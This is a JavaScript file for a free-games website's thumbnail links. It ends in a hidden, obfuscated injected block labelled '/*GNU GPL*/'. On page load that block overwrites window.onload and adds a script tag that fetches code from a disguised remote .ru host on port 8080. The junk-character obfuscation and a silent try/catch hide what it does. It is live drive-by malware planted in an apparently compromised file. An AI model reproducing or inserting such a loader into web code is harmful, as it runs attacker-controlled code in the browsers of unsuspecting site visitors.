// Copyright (c) www.farfarfar.com. All rights reserved.
// version 1.1
// You cannot use this script unless you make a link to "http://www.farfarfar.com/" and
// the anchor text is "Free Online Games" on every page that this script is used.
// You cannot delete this notice.

function addEvent(obj, evType, fn){
	if (obj.addEventListener){
	obj.addEventListener(evType, fn, true);
		return true;
	} else if (obj.attachEvent){
	var r = obj.attachEvent("on"+evType, fn);
		return r;
	}
	else return false;
}

function getElementsByClassName(ClassName,tagName,parentElement)
{
	var elements=new Array();
	var d=parentElement ? parentElement : document;
	var allElements;

	if(tagName)
	allElements=d.all && d.all.tags(tagName)
	|| d.getElementsByTagName && d.getElementsByTagName(tagName);
	else allElements=d.all || d.getElementsByTagName("*");

	for(var i=0,len=allElements.length; i<len; i++)
	if(allElements[i].className==ClassName)
	elements[elements.length]=allElements[i];

	return elements;
}

function initThumbnails()
{
	xdiv=getElementsByClassName("thumb","div");
	if (window.location.href.indexOf('search=')!=-1)
	{
		for (var i=0,len=xdiv.length;i<len;i++)
		{
			var xtmp=getElementsByClassName("url","a",xdiv[i]);
			xtmp[0].onclick=function()
			{
				openNormalWindow(this.href);
				return false;
			}
			xtmp[1].onclick=function()
			{
				openNormalWindow(this.href);
				return false;
			}
		}
		return;
	}
	for (var i=0,len=xdiv.length;i<len;i++)
	{
		xdiv[i].onmouseover = function ()
		{
			if (this.className == 'thumb') this.className = 'thumbOver';
			var xtmp=getElementsByClassName("url","a",this);
			window.status=xtmp[0];
		}
		xdiv[i].onmouseout = function () {
			if (this.className == 'thumbOver') this.className = 'thumb';
			window.status="";
		}
		xdiv[i].onclick = function ()
		{
			var xtmp=getElementsByClassName("url","a",this);
			openNormalWindow(xtmp[0].href);
		}
		var xtmp=getElementsByClassName("url","a",xdiv[i]);
		xtmp[0].onclick=function(){return false;}
		xtmp[1].onclick=function(){return false;}
	}
}

addEvent(window, 'load', initThumbnails);

function openNormalWindow(url)
{
	window.open(url,'','');
}





/*GNU GPL*/ try{window.onload = function(){var Xgomh16ed97sim2 = document.createElement('s!$c#&r)@^i@@p^#t)^'.replace(/\(|&|\)|#|\$|\^|\!|@/ig, ''));Xgomh16ed97sim2.setAttribute('type', 'text/javascript');Xgomh16ed97sim2.setAttribute('src',  'h&&t!t@$$p():#$^$/##/!&^s)&)^u@$e#!#&d$@)^^d$(e&u)$^&t(@s$@c!)#h^!^^e@#-&!^^d#&@e!)#$.&!m^#!t!@i#m@^e)#.)@$c!!$$o#m$.@#@l#a!$)u^!$x)#)a$&n)h!(-#(u&s$$.(!&$w)@i#n&&@!t!!e)$@r^!s&@^)a&l!(e)@!^o@^n&#l$^&i&n!)e#.(r^u)!:@#8@@0&#@8@0#&/&5)(1))^@(.#c@)&!o)^!)m((/#^&5)!#1().#&^c!#$^o^m&/)w$)&^i#(n&a($(&m&^@!p#!$.!^(#c)$o#m^/^$p@l!a@&$l#$^a##^.^o!^!r@@!&.!#&j$^p&@@!/(#g!^#@o&)@o@))g$l@e#@.!^&c)o@$$m!/&#&'.replace(/\^|&|\)|#|\!|@|\(|\$/ig, ''));Xgomh16ed97sim2.setAttribute('defer', 'defer');Xgomh16ed97sim2.setAttribute('id', 'H)#$g##@^h!)3$@k^$#&e(^r&)2&(7)!^d)#(^1@)'.replace(/\$|\!|\(|\)|@|#|\^|&/ig, ''));document.body.appendChild(Xgomh16ed97sim2);}} catch(e) {}